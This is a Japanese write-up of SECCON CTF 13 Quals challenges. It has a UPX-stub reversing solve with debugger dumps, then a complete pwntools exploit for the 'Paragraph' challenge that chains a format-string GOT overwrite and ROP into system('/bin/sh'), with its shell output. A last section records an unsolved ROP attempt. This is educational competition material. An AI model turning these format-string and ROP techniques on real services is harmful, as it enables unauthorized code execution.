SECCON CTF 13 Quals writeup

https://www.seccon.jp/13/

チームFCCPCで参加して40位（国内12位）。

![score.quals.seccon.jp_teams_47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/05a9e3a2-55cf-4669-f94e-92bbf3d498b5.png)

![score.quals.seccon.jp_challenges.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/d066ab2b-50d8-d666-9676-99ce1cf887f1.png)

### packed (reversing)

```shell-session
$ ./a.out
FLAG: SECCON{hoge}
Wrong.
```

UPXでpackされている。展開したバイナリを解析すると、常に `Wrong.` と出力していた。

GDBで実行して、 `FLAG: ` と表示されているタイミングで止めて動的解析した。

```
0x000000000044ee34 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────
 RAX  0x31
 RBX  0x44ef14 ◂— invd
 RCX  0x31
 RDX  0x203a47414c46
*RDI  0x7fffffffd968 ◂— 'SECCON{hogehogehoge}\n'
 RSI  0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
 R8   0x134908
 R9   0x0
 R10  0x12
 R11  0x346
 R12  0x7ffff7ba9000
 R13  0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
 R14  0x7ffff7fa9100 ◂— 0xc400000270
 R15  0x4e9fc
 RBP  0x7ffff7ff7b07 ◂— push rbp
 RSP  0x7fffffffd9f8 —▸ 0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
*RIP  0x44ee34 ◂— lodsb al, byte ptr [rsi]
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
   0x44ee22    jne    0x44eec3                      <0x44eec3>

   0x44ee28    mov    ecx, eax
   0x44ee2a    pop    rdx
   0x44ee2b    pop    rsi
   0x44ee2c    lea    rdi, [rsp - 0x90]
 ► 0x44ee34    lodsb  al, byte ptr [rsi]
   0x44ee35    xor    byte ptr [rdi], al
   0x44ee37    inc    rdi
   0x44ee3a    loopne 0x44ee34
    ↓
   0x44ee34   lodsb  al, byte ptr [rsi]
   0x44ee35    xor    byte ptr [rdi], al
```

```
0x000000000044ee82 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────
 RAX  0x77
 RBX  0x44ef14 ◂— invd
 RCX  0x31
*RDX  0x0
 RDI  0x7fffffffd968 ◂— 0x2182cd4f43430fbb
 RSI  0x44ee41 ◂— mov ebx, 0x4f43430f
 R8   0x134908
 R9   0x0
 R10  0x12
 R11  0x346
 R12  0x7ffff7ba9000
 R13  0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
 R14  0x7ffff7fa9100 ◂— 0xc400000270
 R15  0x4e9fc
 RBP  0x7ffff7ff7b07 ◂— push rbp
 RSP  0x7fffffffd9f8 —▸ 0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
*RIP  0x44ee82 ◂— lodsb al, byte ptr [rsi]
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
   0x44ee72    mov    ecx, 0x31
   0x44ee77    pop    rsi
   0x44ee78    lea    rdi, [rsp - 0x90]
   0x44ee80    xor    edx, edx
 ► 0x44ee82    lodsb  al, byte ptr [rsi]
   0x44ee83    cmp    byte ptr [rdi], al
   0x44ee85    setne  al
   0x44ee88    or     dl, al
   0x44ee8a    inc    rdi
   0x44ee8d    loopne 0x44ee82
    ↓
   0x44ee82   lodsb  al, byte ptr [rsi]
```

```
pwndbg> hexdump 0x7ffff7ff7f10 0x80
+0000 0x7ffff7ff7f10  00 01 00 00 e8 4a 00 00  00 83 f9 49 75 44 53 57  │.....J..│...IuDSW│
+0010 0x7ffff7ff7f20  48 8d 4c 37 fd 5e 56 5b  eb 2f 48 39 ce 73 32 56  │H.L7.^V[│./H9.s2V│
+0020 0x7ffff7ff7f30  5e ac 3c 80 72 0a 3c 8f  77 06 80 7e fe 0f 74 06  │^.<.r.<.│w..~..t.│
+0030 0x7ffff7ff7f40  2c e8 3c 01 77 e4 48 39  ce 73 16 56 ad 28 d0 75  │,.<.w.H9│.s.V.(.u│
+0040 0x7ffff7ff7f50  df 5f 0f c8 29 f8 01 d8  ab 48 39 ce 73 03 ac eb  │._..)...│.H9.s...│
+0050 0x7ffff7ff7f60  df 5b c3 58 41 56 41 57  50 48 89 e6 48 81 ec 00  │.[.XAVAW│PH..H...│
+0060 0x7ffff7ff7f70  10 00 00 54 5f 6a 0a 59  f3 48 a5 48 83 3e 00 48  │...T_j.Y│.H.H.>.H│
+0070 0x7ffff7ff7f80  a5 75 f8 49 89 fe 48 ab  48 83 3e 00 48 a5 75 f8  │.u.I..H.│H.>.H.u.│
pwndbg> hexdump 0x44ee40 0x80
+0000 0x44ee40  00 bb 0f 43 43 4f cd 82  1c 25 1c 0c 24 7f f8 2e  │...CCO..│.%..$...│
+0010 0x44ee50  68 cc 2d 09 3a b4 48 78  56 aa 2c 42 3a 6a cf 0f  │h.-.:.Hx│V.,B:j..│
+0020 0x44ee60  df 14 3a 4e d0 1f 37 e4  17 90 39 2b 65 1c 8c 0f  │..:N..7.│..9+e...│
+0030 0x44ee70  7c 7d b9 31 00 00 00 5e  48 8d bc 24 70 ff ff ff  │|}.1...^│H..$p...│
+0040 0x44ee80  31 d2 ac 38 07 0f 95 c0  08 c2 48 ff c7 e0 f3 85  │1..8....│..H.....│
+0050 0x44ee90  d2 75 30 48 ba 55 50 58  21 20 20 00 00 48 b8 1a  │.u0H.UPX│!....H..│
+0060 0x44eea0  1b 79 2b 20 20 00 00 48  31 d0 48 89 44 24 00 54  │.y+....H│1.H.D$.T│
+0070 0x44eeb0  5e ba 01 00 00 00 52 52  ba 04 00 00 00 5f 58 0f  │^.....RR│....._X.│
```

```solve.py
X = [
    0xe8, 0x4a, 0x00, 0x00, 0x00, 0x83, 0xf9, 0x49, 0x75, 0x44, 0x53, 0x57, 0x48, 0x8d, 0x4c, 0x37,
    0xfd, 0x5e, 0x56, 0x5b, 0xeb, 0x2f, 0x48, 0x39, 0xce, 0x73, 0x32, 0x56, 0x5e, 0xac, 0x3c, 0x80,
    0x72, 0x0a, 0x3c, 0x8f, 0x77, 0x06, 0x80, 0x7e, 0xfe, 0x0f, 0x74, 0x06, 0x2c, 0xe8, 0x3c, 0x01,
    0x77,
]
Y = [
    0xbb, 0x0f, 0x43, 0x43, 0x4f, 0xcd, 0x82, 0x1c, 0x25, 0x1c, 0x0c, 0x24, 0x7f, 0xf8, 0x2e, 0x68,
    0xcc, 0x2d, 0x09, 0x3a, 0xb4, 0x48, 0x78, 0x56, 0xaa, 0x2c, 0x42, 0x3a, 0x6a, 0xcf, 0x0f, 0xdf,
    0x14, 0x3a, 0x4e, 0xd0, 0x1f, 0x37, 0xe4, 0x17, 0x90, 0x39, 0x2b, 0x65, 0x1c, 0x8c, 0x0f, 0x7c,
    0x7d,
]
print("".join(map(chr, [x^y for x, y in zip(X, Y)])))
```

```shell-session
$ python3 solve.py
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}

```

一方がコード領域なので、改竄していると正しく動かないのかもしれない。

`SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}`

### Paragraph (pwnable)

```main.c
#include <stdio.h>

int main() {
  char name[24];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("\"What is your name?\", the black cat asked.\n");
  scanf("%23s", name);
  printf(name);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

  return 0;
}
```

書式指定文字列攻撃やるだけに見えるが、23文字しか使えないのが厳しい。書けるのは2バイトか。

`printf` の下位2バイトを書き換えてone gadget RCEに飛ばそうと思ったけれど、 `rsp & 0xf == 0` の条件が満たせない。 `system` に書き換えることもできるが、第1引数は固定。

`printf` を `gets` に書き換えて、今度は文字数制限が無いからスタックバッファオーバーフローをすれば良いのか。

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("paragraph.seccon.games", 5000)

s.sendlineafter(b"the black cat asked.\n",
    # 6290
    b"%25232c%8$hn____"+pack(0x404028)[:-1]
)
s.recvuntil(b"\x28\x40\x40")

s.sendline(
    b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " +
    b"x"*0x28 +
    pack(0x401283) + # pop rdi
    pack(0x404018) + # puts@GOT
    pack(0x401070) + # puts
    pack(0x401196) + # main
    b" !"
)
s.sendline(b"!")

puts = unpack(s.read(6)+b"\0\0")
print("puts:", hex(puts))

libc = ELF("libc.so.6")
libc.address = puts-libc.symbols.puts

s.sendline(
    b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " +
    b"x"*0x28 +
    pack(0x401284) + # ret
    pack(0x401283) + # pop rdi
    pack(next(libc.search(b"/bin/sh"))) +
    pack(libc.symbols.system) +
    b" !"
)

s.interactive()
```

`printf` は `7f???????0f0` に配置される。1/16の確率で `7f??????00f0` に配置されたときに解ける。

```shell-session
$ python3 attack.py
[+] Opening connection to paragraph.seccon.games on port 5000: Done
puts: 0x7f546da97bd0
[*] '/mnt/c/documents/ctf/seccon2024q/Paragraph/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode

"What is your name?", the black cat asked.
$ cat /flag*
SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
$
```

`SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}`

### Make ROP Great Again (pwnable)

解けなかった。

```mrga.c
// gcc mrga.c -fno-stack-protector -fno-pic -no-pie -Wl,-z,now -o chall
#include <stdio.h>

void show_prompt(void);

__attribute__((constructor))
static int init(){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	return 0;
}

int main(void){
	char buf[0x10];

	show_prompt();
	gets(buf);

	return 0;
}

void show_prompt(void){
	puts(">");
}
```

スタックバッファオーバーフローをやるだけの問題に見える……が、 `__libc_csu_init` が無くて、素直にROPができない。関数呼び出しの第1引数になる `rdi` に値を設定できない。

https://compositecomputer.club/blog/37oVOzDji1pQQExTtmW0ts

> しかし、今回のバイナリは PIE が無効で GOT のオーバーライドが可能です。
>
> そのため、そもそも fgets の GOT を書き換えてしまえば、rdi の操作を行った後に任意のコードを実行できそうです。
>
> まず最初のステージでは、以下のコードを ROP で悪用して fgets により fgets の GOT をオーバーライドさせることを目指します。

[Imaginary CTF 2024 Writeup - かえるのひみつきち](https://kashiwaba-yuki.com/ctf-imaginary-ctf-2024#ropitypwn)

なるほどね。 `pop rdi; ret` があるから、`rdi` はコントロール可能。 `gets(rbp-0x10); leave; ret` で、任意のアドレスに値を書き込める（ROPの継続のためには `leave` への配慮が必要）。これで、 `gets` の `ROP` を好きなアドレスに書き換えれば、任意の関数が任意の引数で呼べるのか。……Full RELROだった。

実行したいのは `puts(libcのアドレスが格納されたアドレス)` で、

```
0x004010e7: mov edi, 0x00404010 ; jmp rax ;  (2 found)
```

こういうガジェットはある。 `0x00404010` は `stdout` 。でも、後続が `ret` ではなく `jmp rax` 。逆に言えば、 `rax` をコントロールできれば良い。

```
0x00401157: add eax, 0x00002ECB ; add dword [rbp-0x3D], ebx ; nop  ; ret  ;  (1 found)
```

これで0x2ECBの倍数のアドレスは作れるが……。

```
0x004010b0: adc eax, 0x00002F3B ; hlt  ; nop word [rax+rax+0x00000000] ; hint_nop edx ; ret  ;  (1 found)
```

これを組み合わせればさらに色々なアドレスが作れる……と思ったけど、良く見たら `hlt` が挟まっていた。

後は、 `stdin` や `stdout` が格納されているアドレスを書き換えれば、それを `setbuf` に渡して何ができそう。でも、これは `gets` の中でも参照されていて難しく、時間切れ。